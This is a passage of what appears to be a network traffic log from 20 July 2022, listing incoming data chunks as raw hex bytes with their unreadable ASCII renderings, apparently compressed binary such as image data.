4d 37 42 Data Ascii: ]r^?@&Q%I`MCo{h rgWQKtZY@[AA),cJ ]mXA74p$uQjyuqXORdJBBC2*/Jpxw$[Nz}yiHa{Ww/M.T{jJl]VN\|6FF;M7B
2022-07-20 07:08:25 UTC	6569	IN	Data Raw: 79 53 ff d5 cd 79 8c 4d 26 42 49 3c 4d 1c 8b 0a 07 52 34 d9 ae fc ff 00 61 fc 15 91 04 9b 26 e7 97 8c b1 c7 8b 23 22 a9 66 b0 1a 97 9b e2 b3 a7 fd b4 56 77 6d 00 36 6c 99 33 b2 e5 60 4b 3c 8c 48 e1 c4 db d9 5a b7 a2 02 41 9c d2 24 6a c7 52 40 09 42 de 8d 67 53 a7 d8 d6 b4 b6 03 53 b7 1c ad fa 67 c9 ca 92 4c 38 a3 2b d1 f9 7d 2a 4c 9f 88 ef d4 5d 5a 34 77 2b 7a 83 08 e2 6c f0 79 6e 39 a5 95 fa f8 d3 3a 09 09 43 ad 6e 7e 3b 68 6e 44 59 5f 5c b2 56 c8 c9 87 72 f3 c6 14 32 cf 22 b1 8f 1e 3e a3 68 b1 ba 7e ee 87 a0 15 70 b6 e5 12 4f ba e1 2b 99 32 95 5c ab 9e 0b 7e 7e 45 f0 75 3f 16 89 4b 71 aa c8 4a 08 e4 96 ca b6 2e 7e 8e ce 1d fa 4d c1 4a a7 4e 37 4f 54 87 48 0c 4b 31 ec bd bc 6f 4b 90 71 04 e7 e7 c3 24 65 6c 44 6f c0 9d 7d 36 0b f9 d1 37 fe 9d 52 d0 5c 49 Data Ascii: ySyM&BI<MR4a&#"fVwm6l3`K<HZA$jR@BgSSgL8+}*L]Z4w+zlyn9:Cn~;hnDY_\Vr2">h~pO+2\~~Eu?KqJ.~MJN7OTHK1oKq$elDo}67R\I
2022-07-20 07:08:25 UTC	6577	IN	Data Raw: f2 50 fa 6c 66 95 72 30 a5 62 f7 59 10 70 bd 64 dc 33 c2 56 b6 2b 6b e6 35 98 3e 6a 21 02 4d 01 0e 05 c3 6a 3f d4 d3 42 ea 3b e9 5f 73 ea 03 33 b3 64 76 39 00 86 6e db 35 6d 30 8e cc 8f 85 66 be 80 5e cf 93 93 95 3b 1c 7e 0d c4 9b 9b 2d 8f 2e 9d 35 8b 96 78 58 32 64 cc df 16 0d dd 56 5c 4c 97 8a 51 62 a6 d6 f4 7d da 49 1c 79 ed 6c 76 ea 34 1b 6e ef 8f 95 82 21 91 02 14 b2 93 7d 24 fd de f5 35 a1 e9 76 dd cd 6f 5f 90 a5 2a 29 21 a1 ba 71 fa 68 e4 3c 8f 5e 90 76 e5 98 26 d4 58 12 d7 b6 a2 79 b8 50 aa 79 3d ce 7e 5a 03 16 39 24 bb 2a 96 03 b4 81 7a b3 81 55 bd 42 d8 c4 3a 8e 04 5a a7 89 ed 76 ae 50 fc 88 23 64 d2 38 5f bc 69 a3 6c f8 ea d4 22 5d 9f 0b 44 6d 2f a0 9b 0a b4 6b f9 76 05 54 df cc 15 93 6f 49 53 4b b0 23 e8 bd af f7 a9 b5 27 a7 97 0a b2 83 23 9b Data Ascii: Plfr0bYpd3V+k5>j!Mj?B;_s3dv9n5m0f^;~-.5xX2dV\LQb}Iylv4n!}$5vo_)!qh<^v&XyPy=~Z9$zUB:ZvP#d8_il"]Dm/kvToISK#'#
2022-07-20 07:08:25 UTC	6593	IN	Data Raw: d5 7e e6 8a ac 97 aa 8f e5 fb 7e 8f ee 7f 98 00 af 29 6d 79 1e 5a dc 97 6e 0e be f2 25 95 9e c5 af 72 51 60 d3 df f7 8d d4 7e b5 24 df 25 67 d1 6b fd 50 2f f9 bf 71 7c 1c 26 3b 30 0c 72 24 56 43 19 1a 64 2a 7f cc e3 7a ba a4 4f bf ea 56 aa f5 ab d3 c9 93 d6 34 1a 87 69 69 e2 8b 27 72 d3 3c bc 2e 8d c5 54 db 9e 28 e4 f1 c6 8f e2 74 ae bb 24 f5 60 79 26 f3 e5 a9 06 06 34 78 b0 09 26 9b 23 29 89 56 07 4c 48 dd 18 d3 d5 f9 7d 5e fb ad 50 b2 25 bb 1a 60 9f 2d ed f9 4d 9d 13 c2 2c b1 9b bb 93 a5 04 67 91 fd e7 75 f5 f8 34 77 e9 df 2a aa 92 f9 c1 b3 12 2e 99 17 92 53 a8 80 e0 ea 52 be 0e 5f cc 4a e1 be 59 d0 6f 24 99 ed c3 20 c2 e1 63 d4 0f a6 c7 f6 56 b4 c5 59 5a 98 94 24 6c 8c 96 63 21 65 1e 8d 7d 9f 66 ba 94 57 60 2e 63 e4 26 34 02 22 38 71 2d f5 d7 3d ea ec Data Ascii: ~~)myZn%rQ`~$%gkP/q\|&;0r$VCdzOV4ii'r<.T(t$`y&4x&#)VLH}^P%`-M,gu4w.SR_JYo$ cVYZ$lc!e}fW`.c&4"8q-=
2022-07-20 07:08:25 UTC	6609	IN	Data Raw: 63 7b 2c d1 fc be ac 57 0c bd 81 83 6a e1 ea fd aa ce bb ea 74 e2 ea 7a 99 fc 8c 92 d2 8e 6e ef 01 5d 10 8f 56 b5 48 66 7c e3 16 31 22 5e d2 5d 4b da e9 fc 36 ac 6d 6f 89 c7 9b 2a a7 98 cf 67 66 86 2b 1f a9 da 7f ab fa b5 8a d4 f9 fe eb b9 e7 d2 bc b5 22 eb 0e f2 fd 16 22 8e 27 0c 91 86 21 c4 a0 71 16 20 fe 8a bd 84 de b2 12 c9 de 93 22 12 a5 6c e6 c7 ea bd ea 60 d3 fa 8d 01 83 20 cb c8 ab 72 7d 02 9c 41 9f 3e 41 4d b3 09 0c 64 b8 d4 58 76 1e d0 3d 9a ca ec f4 3b 6c 29 ae a3 35 96 ec 92 b2 82 40 04 81 5b 2d 8f 17 26 8d a2 38 27 28 c1 9b 88 07 b2 8b 29 22 ac 7c 71 75 9d 8f 67 a6 9e c5 56 bc 98 58 c9 17 cb b4 6b 71 c0 5a ff 00 b5 58 c3 99 3d 49 4a 90 81 aa 4b b6 81 d8 78 56 cd 1e 6a 6d b8 3d 27 64 dd 31 f3 71 40 c8 4e 8f 46 c8 d7 3c 38 0e f2 2f 7a a6 5f 81 Data Ascii: c{,Wjtzn]VHf\|1"^]K6mo*gf+""'!q "l` r}A>AMdXv=;l)5@[-&8'()"\|qugVXkqZX=IJKxVjm='d1q@NF<8/z_
2022-07-20 07:08:25 UTC	6617	IN	Data Raw: ed 52 e2 7a 15 ce ec e5 96 fe 66 3c cc 81 f3 32 f1 73 c5 8f 1a b4 e0 ec 79 29 b4 9a 78 36 dc 68 a2 e9 a4 8a d1 ad c9 6d 43 87 df a4 ae 75 63 ce a8 8c d6 e5 27 cf c8 ab 70 04 6a 54 1f a4 5f be b4 9d 8f 3f bb ba ca f4 0b ed 7b 90 c6 d0 0d b4 05 2a 7d 1c 3d 5f b1 59 b6 74 d3 3d 55 61 99 3c f7 d1 33 04 16 1f 45 aa 91 f3 fd c3 9b 38 29 75 ec 6d f4 53 83 9e 4e c9 27 54 70 27 eb 14 96 81 32 43 1f 23 02 c3 85 53 d4 16 85 e1 ba 30 e4 52 40 3c 3f a2 a3 81 d0 bb 8b 2d 10 67 ca 9b 7f cf 66 75 64 41 24 31 82 5b 50 e1 73 dc a0 d7 0a 97 26 97 2b 20 c6 e8 a8 15 15 7b b6 16 0b 5d 35 aa 83 eb f0 e3 49 0a 45 49 e3 13 64 91 a9 01 b3 31 ec 26 a7 67 a1 8e 4c 75 4f e5 21 76 75 c6 6c cc 80 52 35 1c 0b f0 d7 ea 69 4e f5 37 91 2d 11 9a ef ea 8c bc bb 9c b3 1d 51 f2 af d5 58 db 23 Data Ascii: Rzf<2sy)x6hmCuc'pjT_?{*}=_Yt=Ua<3E8)umSN'Tp'2C#S0R@<?-gfudA$1[Ps&+ {]5IEId1&gLuO!vulR5iN7-QX#
2022-07-20 07:08:25 UTC	6633	IN	Data Raw: 92 d0 f9 01 38 e1 d7 b5 4b 0f e8 ef 50 96 a3 65 fd b8 5f 1d 5c 80 19 c5 cd ab 7a a8 3e e7 f2 dc 2a 98 93 fe 66 5e bb 85 30 59 5c 34 12 77 1c 10 7f bd 4e fa a9 3a bb 8c 7c ea 53 c4 c1 93 0a 76 ba d8 69 64 d5 eb 0f 0e 9f 5b 55 61 63 e1 3b be dd e3 7f 50 d0 f9 7b 2e 1c 69 8b 4b af ab c3 a6 05 b4 1f cc 59 9d b9 96 a1 ea 72 e2 70 c8 b3 fc cb 8a 27 d1 96 74 02 6f ab 8e 9f f9 6a d5 ad 5f 1d 8f a5 a6 75 8d 4a 40 f4 de 62 c9 ca d3 01 2f 05 f8 35 88 bd bd 54 7f 56 b4 e6 5f f5 da 06 b7 2c 28 b7 d8 e3 d7 20 88 a1 3e f3 4d cb 16 f0 bf 76 b0 88 3c 8b 53 dc 7d 25 7d 97 03 0b 6b c8 f9 bf 98 66 96 22 c1 03 28 55 3e 0d 6c fe be 9a 70 55 70 41 a1 dd 21 83 73 89 5d 00 93 47 d0 6e d7 fc bd 6b 57 57 c4 ef ed b2 5b 0d b7 fe 21 87 dc 17 37 23 34 b1 82 46 85 79 78 29 61 6f 0f 77 Data Ascii: 8KPe_\z>*f^0Y\4wN:\|Svid[Uac;P{.iKYrp'toj_uJ@b/5TV_,( >Mv<S}%}kf"(U>lpUpA!s]GnkWW[!7#4Fyx)aow
2022-07-20 07:08:25 UTC	6649	IN	Data Raw: e9 d5 17 53 bb 24 c1 a7 92 21 72 24 85 85 be b5 e7 a3 22 d0 ab 23 47 91 b3 c6 36 93 87 23 eb 93 11 63 ca 0c 05 b4 26 42 eb 68 53 d7 8e 1f 1d 72 de ce b6 95 eb 14 99 74 ee d5 b2 ca 3b 9c 5a 80 71 d8 38 56 d8 98 d1 5b 1a 22 78 9e ca d6 cc a0 a9 c8 0b 0f e8 b0 bd 63 55 a8 91 76 39 84 88 24 5e ca bd 8f d0 7b 3c ca f8 ab 65 f6 3f ed 8c 39 24 54 3b 1b fb c3 0e 49 ac db 21 e6 2a e4 ca 5a 9d 4e 2c f7 92 fe cb 97 a6 65 89 07 c4 16 b5 af c4 77 6b 7a 58 f0 96 66 ac e0 93 cc 2c e9 02 6b 00 15 6e c1 e8 ad ed 0c d7 bc 72 a4 7e d5 b3 c6 98 e3 2f 24 6a 56 3c 38 d2 aa 96 47 6b 86 5e 9e 62 6d cf 71 78 13 e5 c7 04 61 c5 7d 15 af 1f 13 d5 b5 95 40 4f 29 68 ad 61 6b f1 a9 7b 9c f6 b4 a2 4c 15 8d 5d 1d 8d b4 30 6b 7e 83 49 23 5c 74 ab 46 cb 27 36 32 06 4b 2b aa 37 1b 90 3f ab Data Ascii: S$!r$"#G6#c&BhSrt;Zq8V["xcUv9$^{<e?9$T;I!*ZN,ewkzXf,knr~/$jV<8Gk^bmqxa}@O)hak{L]0k~I#\tF'62K+7?
2022-07-20 07:08:25 UTC	6657	IN	Data Raw: b0 b1 0e ac a1 95 87 a4 1a 94 73 f7 1d bb c4 e0 a8 f2 b6 3c 66 01 c0 9e 2d f4 fd 9a 49 4e a7 33 71 a1 54 12 6a c8 41 6c 7c 41 34 60 93 71 c3 50 fa 2b 37 68 67 a5 8b 0f 34 0e c8 89 63 72 aa 6f 6f 4d 5a 72 70 de a9 32 d4 38 48 d1 75 2e 49 f4 8f 45 66 ed ac 1a 57 1f 4c 94 e5 41 1b 72 9b 8f a6 b4 4e 4e 77 a0 57 15 c2 ac 61 1e ec 3d 1f 41 ac d9 b5 5c 6c 5c 7c 8d 1d f6 b7 d2 2a 51 d6 b3 3f 53 24 90 e2 c8 b7 8d 80 20 f1 e3 fd 55 f1 50 9b 45 bb d7 c0 e4 99 0d 0a 97 d4 4b 5b b7 fb d4 6e 0f b8 b2 f1 20 db e7 8a 19 12 47 5b c4 0f 37 e8 f5 a9 bd cc 70 dd 56 c9 b0 be 46 46 a7 b6 ab a0 ee f1 bf 0f 0d 74 26 7d 6d 2c a0 ae ee a5 1b 8f 13 f4 52 b3 0b b4 ea d0 0f 2e 66 8b 5c 61 ae 01 ff 00 6d 66 b5 3e 3b 2b 86 d0 31 9c b1 b9 ab 39 24 39 e5 6c f3 0e 52 c0 57 52 4a 40 61 e9 Data Ascii: s<f-IN3qTjAl\|A4`qP+7hg4crooMZrp28Hu.IEfWLArNNwWa=A\l\\|*Q?S$ UPEK[n G[7pVFFt&}m,R.f\amf>;+19$9lRWRJ@a
2022-07-20 07:08:25 UTC	6673	IN	Data Raw: a1 88 58 2f 02 38 de 93 ab 64 c1 3c 21 a5 8f a7 0c 9a 14 12 47 0b de fe 1a cd d5 4c b4 5a c8 d1 5c e3 c9 13 14 7f 4f 10 47 61 ad 5b 4f 63 36 c9 f6 8d 92 5c e9 49 6b ac 20 f1 7f af f2 d7 db ae 7c fd c2 c6 be b9 d9 87 b7 79 35 f4 03 33 d3 a5 3b 47 da 2c 08 3f 51 ad f1 b9 52 65 7a 71 70 43 8c e6 39 54 f6 7a 0d 5b d8 cd a0 9c a3 8d c7 65 64 99 98 31 a6 7c 1c e4 ca d2 19 03 06 2a dd 8d 6e f2 e9 ad d2 e5 5e 27 45 2d 01 bc fc e1 9c 43 c7 1f 4e 22 2e 17 87 a7 ec 72 d7 2e 2a 70 d2 79 11 92 f2 ca 90 f9 63 6f 9a 2e b4 93 c8 8c 49 ba 2a 02 07 f8 8c f5 da b2 fc 4d 2b 79 28 cd b0 41 aa d8 d9 00 9f a2 45 2b fb 4b ae b5 e4 57 24 5b 97 0a 4d ba 14 8e 52 a7 b4 82 a6 e0 8a 86 e5 89 99 fc 86 e6 ad 06 10 f2 fe 74 f1 64 24 11 28 75 95 82 e9 60 08 e3 f6 ab 3c b0 97 21 c1 b0 93 Data Ascii: X/8d<!GLZ\OGa[Oc6\Ik \|y53;G,?QRezqpC9Tz[ed1\|n^'E-CN".r.pyco.I*M+y(AE+KW$[MRtd$(u`<!
2022-07-20 07:08:25 UTC	6689	IN	Data Raw: 40 ce 98 a5 36 ea 3a 1f a0 04 0b fd aa 9d 06 34 63 06 ed e3 4e 40 ef c8 02 38 31 06 97 20 82 29 30 e4 8d 09 88 a6 af a1 d6 e3 fd da 73 22 82 1f 98 91 47 be c7 e3 e9 e9 b1 fe af 79 69 c7 e9 20 8d 72 e3 94 1e 94 04 db b4 9b 7f ea 77 a9 f1 fd 22 1f 04 8f 72 4d d7 e8 e5 17 34 34 32 d7 51 c1 d2 cc 0d ff 00 45 e9 24 22 1c 8e a4 67 52 4e 50 5b 8a 92 2d fd fa 7a 01 58 ca 6f 67 90 76 7d 3c 28 81 8f 42 dd e4 d3 fa 7b 6a 58 0e ea 4a 78 eb 36 fa 05 c0 a5 a0 11 c9 3b 78 8b 31 3e 80 7b 29 c0 14 66 99 4f 0b 12 df 41 35 4a a4 90 3e a1 c5 45 bf 40 a0 44 3c 59 b5 81 6e 3d 84 55 40 8b 83 51 ed 37 fd 35 23 3b 6a 00 6c 8a 08 fa be 8a 68 43 d0 81 da 2f 48 07 15 bf 11 4c 43 f4 70 a9 01 af 13 0b 13 e9 ec 34 48 11 74 af 44 80 ba 65 45 26 c0 ae e0 d0 03 11 42 9b da 86 03 cb 1b 72 Data Ascii: @6:4cN@81 )0s"Gyi rw"rM442QE$"gRNP[-zXogv}<(B{jXJx6;x1>{)fOA5J>E@D<Yn=U@Q75#;jlhC/HLCp4HtDeE&Br
2022-07-20 07:08:25 UTC	6697	IN	Data Raw: 02 38 38 4f 32 a3 5b 8a a0 d6 e3 ff 00 4d 1a b4 e7 24 15 b2 65 c2 81 94 a7 cc 4a 09 d2 6e 16 32 2f ca 8f 16 92 fd d7 f0 d1 66 26 6b 70 b2 32 b7 1d b5 f0 37 05 2c cc 84 45 28 e3 ad 94 6a 45 93 c5 16 4a fe dd 67 4c 92 54 19 1c ac 37 c7 72 92 29 56 f4 82 2c 45 6f 5b 49 50 40 62 ad 93 22 06 84 34 c0 5a 68 80 3b 6a 20 05 a4 7a 28 03 a0 93 c2 e6 d5 30 22 9b e3 e0 67 12 ce b0 c8 41 20 f6 03 c3 f5 2a 5d 46 53 9b ca db 74 9c 55 19 0f 6f 2b 7f 7a a7 80 03 73 3c 96 8c 75 63 cd a0 fd 0e bf da 4a 15 20 24 1f 95 e5 0c a4 17 16 90 0f 50 ff 00 e9 b5 4b 4d 0c a1 93 e5 ac 85 bb a2 90 3b 74 90 6e 07 b5 52 f2 71 dc 18 43 62 f2 c4 b2 5b 23 2d 82 63 8f 45 f9 cd bf 77 5e 7f 71 dd a5 d3 4f e2 fe a1 2d 85 77 5d 30 32 fc b9 ba 91 c4 7a bf fd 2a e4 c3 d5 e6 25 02 83 82 75 81 c0 9e Data Ascii: 88O2[M$eJn2/f&kp27,E(jEJgLT7r)V,Eo[IP@b"4Zh;j z(0"gA ]FStUo+zs<ucJ $PKM;tnRqCb[#-cEw^qO-w]02z%u
2022-07-20 07:08:25 UTC	6713	IN	Data Raw: 05 43 0e 15 40 3a 33 c7 4b 71 fa 29 30 2d b2 87 52 91 8e 60 6e 7f 45 64 9c 6e 32 28 d4 b3 81 6b af d1 fd da a6 e1 08 ff d0 c2 64 49 19 93 54 3d 96 15 e4 d5 38 d4 e4 1d 8c 81 9a ed e8 a5 77 00 cb 2c 23 c9 c6 87 12 31 ab 27 5b e9 fa 15 17 de bb 48 d5 9a 9a da d7 7f c2 e3 5f fb 80 5f c7 dd e1 3b 0e 76 3d cf 56 74 88 25 b8 dc a3 6a 75 ff 00 87 57 45 c6 f0 ca 5a 68 53 83 15 71 71 62 89 be 24 8f d4 7f a9 7f 0e b2 b5 f9 5a cf d3 4f dd d0 96 e4 39 af 23 2a 5f 93 c5 01 b2 8b 88 f4 f6 24 63 f3 66 97 fb b5 c9 4c 6b 77 fc 3f fd 9c c5 00 5c c9 27 c2 9e 48 e5 72 d2 44 e5 09 1d 97 5f 56 ba e9 55 65 a2 04 a4 0f 9d ba c9 98 fa 9e c3 d0 00 ec 00 7a b5 d7 8f 0a a2 34 4a 0b 5b 3e ec 62 43 04 87 90 9b 8f aa b2 cf 86 5f 24 2b 56 4d 56 cf 27 5b 77 c3 55 37 54 8d 9b 87 d2 d5 97 Data Ascii: C@:3Kq)0-R`nEdn2(kdIT=8w,#1'[H__;v=Vt%juWEZhSqqb$ZO9#*_$cfLkw?\'HrD_VUez4J[>bC_$+VMV'[wU7T
2022-07-20 07:08:25 UTC	6729	IN	Data Raw: 65 40 df 88 39 fd cb fa f5 cd 4a da ee 17 4f fa 7f 53 fd 3f 9f f6 c1 05 70 90 f9 a3 66 93 0a 73 fe 6a 3d 40 31 ed 0d fb d5 f0 bf e1 cc 95 eb 63 fd ed 78 bf e2 61 2f 6d 8f 2f c8 dc f3 27 ce 8d 73 0f 34 40 63 80 de 05 1e ef 47 eb d6 77 53 5f 98 6e d2 6b fc a3 14 b8 d9 12 6c f3 b2 81 39 37 04 ea 4b 5b 44 8d 1f b6 fd de 4a c3 0d bd d6 b8 f9 2f f3 92 8d 34 f8 99 19 79 f0 e3 68 78 b1 60 70 a1 01 1d 36 8d 46 ae a7 27 37 36 8a ee b2 76 b2 af 97 1d 0a 4c 1c 32 46 76 f8 77 68 25 49 52 33 2c 6b 1a 9e 36 89 1f ff 00 53 e2 54 3c 93 7e 45 2d 50 cd bf 70 5f 34 e1 08 27 0a 37 5c 75 2d 19 04 81 20 fd cb f8 b4 7f 5e a9 bf 75 69 fc 5a 79 44 d4 0d cd dc 5f a0 d1 ee 48 d2 89 21 61 1c aa 39 98 7e 5c bf bd c7 9b e2 78 fd 7a c2 d9 1c 75 fc bd 39 09 89 d4 93 ca 9b 91 5d a5 a4 92 Data Ascii: e@9JOS?pfsj=@1cxa/m/'s4@cGwS_nkl97K[DJ/4yhx`p6F'76vL2Fvwh%IR3,k6ST<~E-Pp_4'7\u- ^uiZyD_H!a9~\xzu9]
2022-07-20 07:08:25 UTC	6736	IN	Data Raw: 93 f2 e4 af 66 55 9d b1 9e 86 3b f1 d4 d9 48 c3 1d ba 31 da 6c 8e 1a 40 e2 13 48 e4 f7 9e 04 8d 6b a6 38 e9 e6 1d 9f 2d 41 d9 bb ec 9e 5f c7 98 e5 03 3b 2b 25 c0 23 f1 46 b5 6a 9e 7c 74 64 b8 1b ba f9 84 64 6d 91 e5 e1 d9 cc 8e 14 2a df 51 d2 ba e7 8f ed a5 4e 4b f4 c9 11 25 5d ae 5c 3d f1 f0 e5 8e 30 92 09 46 b0 2d 6b 42 3a fc f1 fe 1b 7b 75 cf 4a ab 5a ba 71 b7 af fd b2 22 06 61 c6 37 a9 53 32 35 66 48 66 96 6e 9b 30 b1 7f dc cb f9 6f f9 75 76 5c b6 fa 7a cd 5e c6 6f 3d 04 33 91 97 21 eb 93 76 40 a4 95 27 99 63 e6 e5 ee d7 0d a5 f8 1c cd 06 70 5f 1b 0f 11 e7 05 8e 44 ab a2 38 9b bc 14 9d 32 4b c9 fb 29 df a1 25 5a cc f5 8d 22 05 59 24 cd 4c 29 fb e8 3a 92 28 f0 fe 5c 75 cf 9a f6 75 76 7f 62 84 c0 45 cf 68 51 6e 35 ea fe 5f 81 d2 bc af eb 34 48 cb ee 0e Data Ascii: fU;H1l@Hk8-A_;+%#Fj\|tddm*QNK%]\=0F-kB:{uJZq"a7S25fHfn0ouv\z^o=3!v@'cp_D82K)%Z"Y$L):(\uuvbEhQn5_4H
2022-07-20 07:08:25 UTC	6752	IN	Data Raw: ae 24 bc 08 e4 6a b6 fc 1c 56 81 f6 e2 ba 23 98 1d 60 78 fd 4e 4f c3 5a 6e a9 1a ab 02 a4 da 60 6b 45 28 08 aa 3e 12 5a dc 7b cd 2b ad 68 c9 0a ef f0 99 d7 15 63 25 64 10 01 cb c2 c2 fe b5 48 c0 9b 4e 28 4d d4 62 c8 56 48 c8 31 92 47 02 e4 6a d3 cf df d0 f4 99 55 1b 8f e7 e4 da 9c a1 71 d1 17 07 1d f5 12 c4 72 b3 44 fd cc 4f e1 77 29 44 a1 35 24 9f fc 7f cb 5b f0 6c dc 57 3c 78 bc 1a 82 ba 96 f5 3a 9d f8 ff 00 5e b9 3d ae 3b 7e 03 27 35 02 79 bf 63 8f 6f 93 a5 3e a4 8a 35 0a 23 42 2f a4 7e 53 37 bb d5 25 67 5a ba da 0d 2a a4 b5 b0 f9 72 3d c3 62 cd 6d b4 4a af 22 06 87 aa c3 5b 08 cf bf 8f 54 1c 9a 64 6f 77 a2 b5 f6 f9 39 29 a8 2d ed 79 f9 db 1e c1 fc c5 17 4a cb 24 7d 36 b6 a5 e1 a9 1b a9 17 79 75 f7 6b 0a d6 d4 96 bd 41 65 a9 8a 6c ff 00 e5 f9 07 25 32 Data Ascii: $jV#`xNOZn`kE(>Z{+hc%dHN(MbVH1GjUqrDOw)D5$[lW<x:^=;~'5yco>5#B/~S7%gZ*r=bmJ"[Tdow9)-yJ$}6yukAel%2
2022-07-20 07:08:25 UTC	6768	IN	Data Raw: 4c ab 34 51 30 71 ab 88 53 51 65 20 ca 7e 63 f2 7e c9 9b 2c 92 64 44 53 25 80 b1 42 42 b7 e5 c8 a8 be ee 88 82 54 83 30 b6 38 70 d0 ae 39 93 4b 78 19 cb 28 fb 1a bb b4 b6 28 93 69 f2 91 3b dc 5b ac 2d 65 57 d7 2a 11 d9 cb a3 5c 6f fd 7a 95 59 64 58 2b bc 79 77 1b 2f 7c 8b 71 84 69 91 48 6e 1d d9 2e 0a 6a 7f b0 d5 a5 92 9d 04 96 85 18 73 96 5c fc ad b4 a9 59 31 55 59 8f a0 ea ef a7 dc d4 95 5c b5 82 a4 b3 fa 2a 8a 3b 6a 00 63 0a 00 6d a8 01 0b 83 4c 04 cb 48 06 88 bd 34 48 1c 31 1e c1 40 0c 10 9f a2 98 09 a0 63 f5 52 90 1c b8 7f 4f 65 0e c1 03 5b 15 7b 00 14 4b 08 20 7c 06 3c 17 81 ff 00 ba ab 90 41 c1 83 20 ed a2 50 40 be 49 bb 0d 12 10 74 6d 6c 78 de 8e 61 07 3f 95 37 a4 9a 39 84 1c fe 5a e3 80 a7 c8 20 6b 6d 93 0f ac 51 cd 04 1d 5d a6 66 37 f4 52 e6 82 Data Ascii: L4Q0qSQe ~c~,dDS%BBT08p9Kx((i;[-eW\ozYdX+yw/\|qiHn.js\Y1UY\;jcmLH4H1@cROe[{K \|<A P@Itmlxa?79Z kmQ]f7R
2022-07-20 07:08:25 UTC	6772	IN	Data Raw: 6f ae ff 00 cc f2 7d 72 ea 86 ed 0f 83 82 7e 6f 79 07 a0 55 80 16 3c cd e0 d1 a3 9b 5d 6d 86 89 be a3 56 a1 10 f9 6b 64 86 6d bc 4d 31 12 4c 79 ed 71 dd 6f c2 d1 f8 d5 d6 ea b7 39 ed 66 8f 43 da a1 74 85 31 83 15 0c 18 40 4b 73 a1 03 5e 89 3e cd 4d 17 87 e0 26 41 5b 6f 98 e5 10 c9 93 12 6b 68 1a d9 11 8e 12 03 7e 9c 92 ac 3d d6 87 fb 75 18 f2 35 ab 3a 15 91 77 07 64 82 69 c6 ed b6 37 ba 20 b2 a8 f0 3f 8e 2f b3 5a fb 52 f9 54 56 2f 6f db 74 7e 61 db d8 a0 b4 a0 7e ab 8a 33 53 9a e4 bc f5 31 68 c0 6d 68 71 64 23 23 95 8a b4 32 8b f6 1f 0f ed d7 87 91 c3 68 cd 92 df 4a 12 7d 03 8d 73 f8 90 73 cd 93 8d d7 cb 02 47 e3 26 04 c8 49 fd d4 9e e3 fb 7f b1 5e ff 00 6d 93 95 78 fa b1 fd 28 6d 5d 41 1e 56 6f f2 30 fd ff 00 eb 57 99 de 79 ed f7 4c 6f b9 a5 da f7 8f 94 Data Ascii: o}r~oyU<]mVkdmM1Lyqo9fCt1@Ks^>M&A[okh~=u5:wdi7 ?/ZRTV/ot~a~3S1hmhqd##2hJ}ssG&I^mx(m]AVo0WyLo
2022-07-20 07:08:25 UTC	6788	IN	Data Raw: 89 6a 0f f3 4f 9e 30 72 f1 5f 0b 03 aa 1d f8 31 28 53 97 c7 f1 79 b9 aa f2 e4 d2 11 af 97 c4 07 e5 4d 92 7d c7 23 ad 1b f4 52 02 18 c9 a4 31 d5 f8 6b 12 3f 23 3a d7 35 13 b3 33 93 d1 91 32 d0 a8 19 46 44 f1 33 c6 ba c5 75 71 b7 cc 68 ac be 05 a2 59 6d a6 66 63 f4 08 94 d6 90 c5 20 1d ff 00 cd a7 05 8e 34 2c ac d6 b3 3a af 14 3e aa af 71 da b3 bd da d8 43 bc a9 b3 c7 88 e7 3b 25 8b e4 4a 2e 9a c5 8d 9b bd de fc 4a 54 a7 a8 a7 69 d0 d4 f5 85 6c 23 a2 60 68 80 83 bd 50 28 01 75 a8 08 3a 26 14 0a 08 83 5e 46 8c 78 c6 a1 f5 38 a6 05 59 3a 5b 90 4c ac 77 51 93 15 f4 38 3e 9e eb c1 2f ad 0c 95 0d 27 af aa a5 ae 9d 1f 94 b6 93 a6 5c 60 ba 8e de 2a 78 e9 61 de 5a a2 62 09 8c 94 0a 0c 47 9e b6 c8 b7 0e 9e e2 a4 24 90 4f 1c 2e e4 f0 10 3f 2f 77 f8 f3 56 59 29 28 b4 Data Ascii: jO0r_1(SyM}#R1k?#:532FD3uqhYmfc 4,:>qC;%J.JTil#`hP(u:&^Fx8Y:[LwQ8>/'\`*xaZbG$O.?/wVY)(
2022-07-20 07:08:25 UTC	6804	IN	Data Raw: 3a f6 28 1f dd ae 1c 0a 2a ec 2a 83 b2 e4 66 ca 58 d3 b5 4a a8 fb 57 ae bc 4b 49 35 a9 e8 be 64 df d5 e7 87 1f 6f 75 2d 10 21 dd 46 ab 31 d3 ca 95 bf 73 dd 71 49 54 d3 94 1e 67 b9 cc fb d7 98 1d 9e c5 9a 55 42 40 ed d1 ca de cf 35 55 6c f8 72 7e 7b f5 ff 00 dc 22 ce 4f 53 c0 0b 87 b7 cd 92 6c a0 97 7b fd 00 77 6a f1 2e 35 93 9c ca 79 73 6d c5 87 3d f2 55 fa c9 0a 99 9e 43 cb 72 3b b1 b2 b7 c3 ff 00 31 58 57 57 af 93 1f 59 b3 19 95 33 c9 38 6c c7 2a 4b 99 25 40 0e 98 ed cd ca bf 8a cc 9f 89 51 7b 4b 00 76 f7 e6 49 b7 3f 75 0a f4 71 41 e5 5f 13 fa b2 4d fd ca da d6 9d 00 b5 e5 1d ba 18 44 9b e6 6f c0 c6 04 af d6 de 1a 55 fd 5a fe df c8 45 9f 81 1e c0 7f 9a e7 cf bc ee 2f a6 28 cf 51 af dd 07 f0 d3 ee 25 5c 4b d7 ed 1a 6d a0 03 cc 9b fb 6f b9 9d 45 5d 30 a1 Data Ascii: :(*fXJWKI5dou-!F1sqITgUB@5Ulr~{"OSl{wj.5ysm=UCr;1XWWY38lK%@Q{KvI?uqA_MDoUZE/(Q%\KmoE]0
2022-07-20 07:08:25 UTC	6808	IN	Data Raw: b7 61 dd 16 3c ed ab d5 ae 9a dd 70 72 54 9e bb b1 64 09 0e 34 87 8b 40 ef 89 21 fa 62 98 6b c5 d5 f6 25 4a 30 da 55 67 fd af b9 94 cd 9e 39 e6 3c 43 8b 9f 34 04 58 c6 e5 0f dd 35 ae 2d 10 2d 82 7e 48 4e 86 e1 04 87 d7 17 fe 9e 5a cb 35 f5 15 b6 35 3f ea 56 2b 36 6a 4a a0 95 10 5d ac 3b a0 36 9d 6f ea d1 7d 18 a8 33 fd 36 1d 39 32 f2 3f 2e 1f f6 6a 34 96 8e 7e 5a d8 32 03 62 24 66 cc 0f e6 10 7f db 5e 75 fc ab ec 92 6d bc bd 82 b8 f8 d2 4d 8e f6 91 a7 75 56 f5 96 35 ea e8 fb f5 be 1a b7 5e 4b f8 9f dc fd e9 5b 15 32 b1 ed 99 b8 9b 59 5e 04 94 7f 88 51 db fe 66 ba 32 d3 cc fe 